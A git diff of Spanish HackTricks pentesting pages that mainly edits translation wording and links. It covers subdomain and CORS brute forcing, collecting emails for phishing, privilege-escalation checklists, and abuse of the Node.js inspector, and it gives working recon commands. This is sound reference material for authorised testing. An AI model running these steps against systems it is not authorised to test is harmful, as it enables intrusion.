Buscan en la web archivos JS y extraen subdominios de allí. +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **y** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -319,7 +319,7 @@ Este proyecto ofrece **gratis todos los subdominios relacionados con programas d Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **Fuerza bruta de DNS** +### **Fuerza bruta DNS** Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio. @@ -333,19 +333,19 @@ Para esta acción necesitarás algunas **listas de palabras comunes de subdomini Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -Las herramientas más recomendadas para fuerza bruta de DNS son: +Las herramientas más recomendadas para fuerza bruta DNS son: -- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta de DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos. +- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos. ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor +- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo utiliza 1 resolvedor ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando un ataque de fuerza bruta activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -370,7 +370,7 @@ cat subdomains.txt | dnsgen - ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` -- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará el suyo propio. +- [**gotator**](https://github.com/Josue87/gotator)**:** Dado los dominios y subdominios, genera permutaciones. Si no se indica un archivo de permutaciones, gotator usará uno propio. ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` @@ -399,7 +399,7 @@ puredns resolve adobe.brute --write adobe.valid ``` echo www | subzuf facebook.com ``` -### **Flujo de Trabajo para el Descubrimiento de Subdominios** +### **Flujo de Trabajo de Descubrimiento de Subdominios** Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora: @@ -438,7 +438,7 @@ VHostScan -t example.com > [!NOTE] > Con esta técnica, incluso podrías acceder a endpoints internos/ocultos. -### **Fuerza Bruta CORS** +### **CORS Brute Force** A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**. ```bash @@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http: ``` ### **Fuerza Bruta de Buckets** -Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/). +Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\ +Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html). ### **Monitorización** @@ -456,7 +456,7 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea ### **Buscando vulnerabilidades** Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ -Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/). +Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html). Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ &#xNAN;_Note que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._ @@ -464,9 +464,9 @@ Si encuentras algún **subdominio con una IP diferente** de las que ya encontras ## IPs En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\ -Es hora de **recolectar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).** +Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).** -Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -476,7 +476,7 @@ También puedes verificar dominios que apuntan a una dirección IP específica u **Escanea todos los puertos de las IPs que no pertenecen a CDNs** (ya que probablemente no encontrarás nada interesante allí). En los servicios en ejecución descubiertos podrías **encontrar vulnerabilidades**. -**Encuentra una** [**guía**](../pentesting-network/) **sobre cómo escanear hosts.** +**Encuentra una** [**guía**](../pentesting-network/index.html) **sobre cómo escanear hosts.** ## Caza de servidores web @@ -486,8 +486,8 @@ En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance). -Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\ -Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos: +Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores web** usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\ +Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -496,7 +496,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**. -Para llevar a cabo la idea propuesta puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +Para llevar a cabo la idea propuesta, puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no. @@ -512,13 +512,13 @@ También necesitarás listas de palabras de **palabras comunes utilizadas en buc Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](#second-dns-bruteforce-round) para más información). -Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** +Con las listas de palabras resultantes, podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.** Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**. ### **Buscando vulnerabilidades** -Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas. +Si encuentras cosas como **buckets abiertos o funciones de nube expuestas**, debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas. ## Correos Electrónicos @@ -531,7 +531,7 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t ### **Buscando vulnerabilidades** -Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing. +Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing. ## Filtraciones de Credenciales @@ -592,9 +592,9 @@ También hay servicios gratuitos que te permiten **escanear repositorios públic - [**Snyk**](https://app.snyk.io/) -## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/) +## [**Metodología de Pentesting Web**](../../network-services-pentesting/pentesting-web/index.html) -La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/). +La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/index.html). También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 66b4d7f0e..bcaed4ca4 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -13,14 +13,14 @@ _Los logotipos de Hacktricks fueron diseñados por_ [_@ppiernacho_](https://www. ¿Tienes **acceso físico** a la máquina que deseas atacar? Deberías leer algunos [**trucos sobre ataques físicos**](../hardware-physical-access/physical-attacks.md) y otros sobre [**escapar de aplicaciones GUI**](../hardware-physical-access/escaping-from-gui-applications.md). -### 1 - [Descubriendo hosts dentro de la red](pentesting-network/index.html#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/) +### 1 - [Descubriendo hosts dentro de la red](pentesting-network/index.html#discovering-hosts)/ [Descubriendo Activos de la empresa](external-recon-methodology/index.html) **Dependiendo** si la **prueba** que estás realizando es una **prueba interna o externa**, puede que te interese encontrar **hosts dentro de la red de la empresa** (prueba interna) o **encontrar activos de la empresa en internet** (prueba externa). > [!NOTE] > Ten en cuenta que si estás realizando una prueba externa, una vez que logres obtener acceso a la red interna de la empresa, deberías reiniciar esta guía. -### **2-** [**Divirtiéndote con la red**](pentesting-network/) **(Interna)** +### **2-** [**Divirtiéndote con la red**](pentesting-network/index.html) **(Interna)** **Esta sección solo se aplica si estás realizando una prueba interna.**\ Antes de atacar un host, tal vez prefieras **robar algunas credenciales** **de la red** o **snifar** algunos **datos** para aprender **pasivamente/activamente (MitM)** qué puedes encontrar dentro de la red. Puedes leer [**Pentesting Network**](pentesting-network/index.html#sniffing). @@ -31,15 +31,15 @@ Lo primero que debes hacer al **buscar vulnerabilidades en un host** es saber qu ### **4-** [Buscando exploits de versiones de servicio](../generic-hacking/search-exploits.md) -Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Quizás tengas suerte y haya un exploit que te dé una shell... +Una vez que sepas qué servicios están corriendo, y tal vez su versión, debes **buscar vulnerabilidades conocidas**. Tal vez tengas suerte y haya un exploit que te dé una shell... ### **5-** Servicios de Pentesting Si no hay ningún exploit interesante para algún servicio en ejecución, deberías buscar **configuraciones incorrectas comunes en cada servicio en ejecución.** -**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la** _**SECCIÓN PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).** +**Dentro de este libro encontrarás una guía para pentestear los servicios más comunes** (y otros que no son tan comunes)**. Por favor, busca en el índice de la izquierda la sección _**PENTESTING**_ **(los servicios están ordenados por sus puertos predeterminados).** -**Quiero hacer una mención especial a la** [**parte de Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ya que es la más extensa).**\ +**Quiero hacer una mención especial a la parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(ya que es la más extensa).**\ Además, aquí puedes encontrar una pequeña guía sobre cómo [**encontrar vulnerabilidades conocidas en software**](../generic-hacking/search-exploits.md). **Si tu servicio no está en el índice, busca en Google** otros tutoriales y **déjame saber si quieres que lo agregue.** Si **no puedes encontrar nada** en Google, realiza tu **propio pentesting ciego**, podrías comenzar por **conectarte al servicio, fuzzing y leyendo las respuestas** (si las hay). @@ -50,17 +50,17 @@ También hay varias herramientas que pueden realizar **evaluaciones automáticas #### **5.2 Fuerza Bruta en servicios** -En algunos escenarios, un **Brute-Force** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](../generic-hacking/brute-force.md)**.** +En algunos escenarios, una **Fuerza Bruta** podría ser útil para **comprometer** un **servicio**. [**Encuentra aquí una CheatSheet de diferentes servicios de fuerza bruta**](../generic-hacking/brute-force.md)**.** -### 6- [Phishing](phishing-methodology/) +### 6- [Phishing](phishing-methodology/index.html) -Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes necesitar intentar algún phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/): +Si en este punto no has encontrado ninguna vulnerabilidad interesante, **puedes necesitar intentar algún phishing** para entrar en la red. Puedes leer mi metodología de phishing [aquí](phishing-methodology/index.html): -### **7-** [**Obteniendo Shell**](../generic-hacking/reverse-shells/) +### **7-** [**Obteniendo Shell**](../generic-hacking/reverse-shells/index.html) -De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](../generic-hacking/reverse-shells/). +De alguna manera deberías haber encontrado **alguna forma de ejecutar código** en la víctima. Entonces, [una lista de posibles herramientas dentro del sistema que puedes usar para obtener una shell inversa sería muy útil](../generic-hacking/reverse-shells/index.html). -Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Revisa esta página**](../windows-hardening/av-bypass.md)**.**\\ +Especialmente en Windows, podrías necesitar ayuda para **evitar antivirus**: [**Consulta esta página**](../windows-hardening/av-bypass.md)**.**\\ ### 8- Dentro @@ -68,7 +68,7 @@ Si tienes problemas con la shell, aquí puedes encontrar una pequeña **compilac - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) +- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html) ### **9 -** [**Exfiltración**](../generic-hacking/exfiltration.md) @@ -79,19 +79,19 @@ Probablemente necesitarás **extraer algunos datos de la víctima** o incluso ** #### **10.1- Privesc Local** Si no eres **root/Administrador** dentro de la máquina, deberías encontrar una manera de **escalar privilegios.**\ -Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ +Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/index.html) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\ También deberías revisar estas páginas sobre cómo funciona **Windows**: -- [**Autenticación, Credenciales, Privilegios de Token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- Cómo funciona [**NTLM**](../windows-hardening/ntlm/) +- [**Autenticación, Credenciales, Privilegios de Token y UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) +- Cómo funciona [**NTLM**](../windows-hardening/ntlm/index.html) - Cómo [**robar credenciales**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) en Windows -- Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- Algunos trucos sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) **No olvides revisar las mejores herramientas para enumerar rutas de Escalación de Privilegios locales en Windows y Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Privesc de Dominio** -Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team. +Aquí puedes encontrar una [**metodología que explica las acciones más comunes para enumerar, escalar privilegios y persistir en un Active Directory**](../windows-hardening/active-directory-methodology/index.html). Aunque esto es solo una subsección de una sección, este proceso podría ser **extremadamente delicado** en una asignación de Pentesting/Red Team. ### 11 - POST @@ -111,20 +111,20 @@ TODO: Completar persistencia Post en Windows y Linux Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar la Metodología de Pentesting nuevamente) dentro de nuevas redes donde tu víctima está conectada.\ En este caso, el tunneling podría ser necesario. Aquí puedes encontrar [**un post que habla sobre tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\ -Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows. +Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/index.html). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\ +Consulta también la página sobre [**NTLM**](../windows-hardening/ntlm/index.html), podría ser muy útil para pivotar en entornos de Windows. ### MÁS -#### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/) +#### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/index.html) #### **Explotación** -- [**Explotación Básica en Linux**](broken-reference/) +- [**Explotación Básica en Linux**](broken-reference/index.html) - [**Explotación Básica en Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) -#### [**Python Básico**](python/) +#### [**Python Básico**](python/index.html) #### **Trucos de Cripto** diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 10a7f0abe..8fe5df684 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -7,8 +7,8 @@ - [**Trucos de hacking de Pyscript**](pyscript.md) - [**Deserializaciones de Python**](../../pentesting-web/deserialization/index.html#python) -- [**Trucos para eludir sandboxes de python**](bypass-python-sandboxes/) -- [**Sintaxis básica de solicitudes web en python**](web-requests.md) -- [**Sintaxis y bibliotecas básicas de python**](basic-python.md) +- [**Trucos para eludir sandboxes de Python**](bypass-python-sandboxes/index.html) +- [**Sintaxis básica de solicitudes web en Python**](web-requests.md) +- [**Sintaxis y bibliotecas básicas de Python**](basic-python.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index e5d8e8fba..15be992f2 100644 --- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -13,7 +13,7 @@ La página principal de una aplicación Flask probablemente tendrá el **objeto app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -En este caso, es posible acceder a este objeto utilizando cualquier gadget para **acceder a objetos globales** de la [**página de Bypass Python sandboxes**](bypass-python-sandboxes/). +En este caso, es posible acceder a este objeto utilizando cualquier gadget para **acceder a objetos globales** de la [**página de Bypass Python sandboxes**](bypass-python-sandboxes/index.html). En el caso de que **la vulnerabilidad esté en un archivo python diferente**, necesitas un gadget para recorrer archivos y llegar al principal para **acceder al objeto global `app.secret_key`** para cambiar la clave secreta de Flask y poder [**escalar privilegios** conociendo esta clave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md index 080b97682..5e091920f 100644 --- a/src/linux-hardening/linux-privilege-escalation-checklist.md +++ b/src/linux-hardening/linux-privilege-escalation-checklist.md @@ -72,24 +72,24 @@ - [ ] Enumeración de usuarios/grupos **genéricos** - [ ] ¿Tienes un **UID muy grande**? ¿Es la **máquina** **vulnerable**? -- [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/) al que perteneces? +- [ ] ¿Puedes [**escalar privilegios gracias a un grupo**](privilege-escalation/interesting-groups-linux-pe/index.html) al que perteneces? - [ ] ¿Datos del **portapapeles**? - [ ] ¿Política de contraseñas? - [ ] Intenta **usar** cada **contraseña conocida** que hayas descubierto previamente para iniciar sesión **con cada** posible **usuario**. Intenta iniciar sesión también sin una contraseña. ### [PATH escribible](privilege-escalation/index.html#writable-path-abuses) -- [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH** podrías ser capaz de escalar privilegios +- [ ] Si tienes **privilegios de escritura sobre alguna carpeta en PATH**, podrías ser capaz de escalar privilegios ### [Comandos SUDO y SUID](privilege-escalation/index.html#sudo-and-suid) - [ ] ¿Puedes ejecutar **cualquier comando con sudo**? ¿Puedes usarlo para LEER, ESCRIBIR o EJECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io)) - [ ] ¿Hay algún **binario SUID explotable**? ([**GTFOBins**](https://gtfobins.github.io)) -- [ ] ¿Los [**comandos sudo** están **limitados** por **path**? ¿Puedes **eludir** las restricciones](privilege-escalation/index.html#sudo-execution-bypassing-paths)? -- [ ] [**Binario Sudo/SUID sin path indicado**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)? -- [ ] [**Binario SUID especificando path**](privilege-escalation/index.html#suid-binary-with-command-path)? Eludir +- [ ] ¿Los [**comandos sudo** están **limitados** por **ruta**? ¿Puedes **eludir** las restricciones](privilege-escalation/index.html#sudo-execution-bypassing-paths)? +- [ ] [**Binario Sudo/SUID sin ruta indicada**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)? +- [ ] [**Binario SUID especificando ruta**](privilege-escalation/index.html#suid-binary-with-command-path)? Eludir - [ ] [**Vuln de LD_PRELOAD**](privilege-escalation/index.html#ld_preload) -- [ ] [**Falta de .so en binario SUID**](privilege-escalation/index.html#suid-binary-so-injection) desde una carpeta escribible? +- [ ] [**Falta de .so en binario SUID**](privilege-escalation/index.html#suid-binary-so-injection) de una carpeta escribible? - [ ] [**Tokens SUDO disponibles**](privilege-escalation/index.html#reusing-sudo-tokens)? [**¿Puedes crear un token SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)? - [ ] ¿Puedes [**leer o modificar archivos sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)? - [ ] ¿Puedes [**modificar /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)? @@ -118,11 +118,11 @@ - [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para privesc? - [ ] **Archivos passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para privesc? - [ ] **Verificar carpetas comúnmente interesantes** en busca de datos sensibles -- [ ] **Ubicación extraña/Archivos propiedad,** a los que podrías tener acceso o alterar archivos ejecutables +- [ ] **Ubicación/Archivos extraños,** a los que podrías tener acceso o alterar archivos ejecutables - [ ] **Modificados** en los últimos minutos - [ ] **Archivos de base de datos Sqlite** - [ ] **Archivos ocultos** -- [ ] **Script/Binarios en PATH** +- [ ] **Scripts/Binarios en PATH** - [ ] **Archivos web** (¿contraseñas?) - [ ] **¿Copias de seguridad?** - [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne** diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index f0f9db506..76b57c6e1 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,15 +1,15 @@ -# Abuso del depurador de Node/CEF +# Abuso del depurador Node inspector/CEF {{#include ../../banners/hacktricks-training.md}} ## Información Básica -[De la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. Cada proceso también se asigna un **UUID** **único**. +[Desde la documentación](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Cuando se inicia con el interruptor `--inspect`, un proceso de Node.js escucha a un cliente de depuración. Por **defecto**, escuchará en el host y puerto **`127.0.0.1:9229`**. Cada proceso también se asigna un **UUID** **único**. Los clientes del inspector deben conocer y especificar la dirección del host, el puerto y el UUID para conectarse. Una URL completa se verá algo así como `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. > [!WARNING] -> Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso que pueda conectarse a este puerto puede ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**). +> Dado que el **depurador tiene acceso completo al entorno de ejecución de Node.js**, un actor malicioso capaz de conectarse a este puerto puede ser capaz de ejecutar código arbitrario en nombre del proceso de Node.js (**posible escalada de privilegios**). Hay varias formas de iniciar un inspector: ```bash @@ -48,7 +48,7 @@ kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` > [!NOTE] -> Esto es útil en contenedores porque **cerrar el proceso y comenzar uno 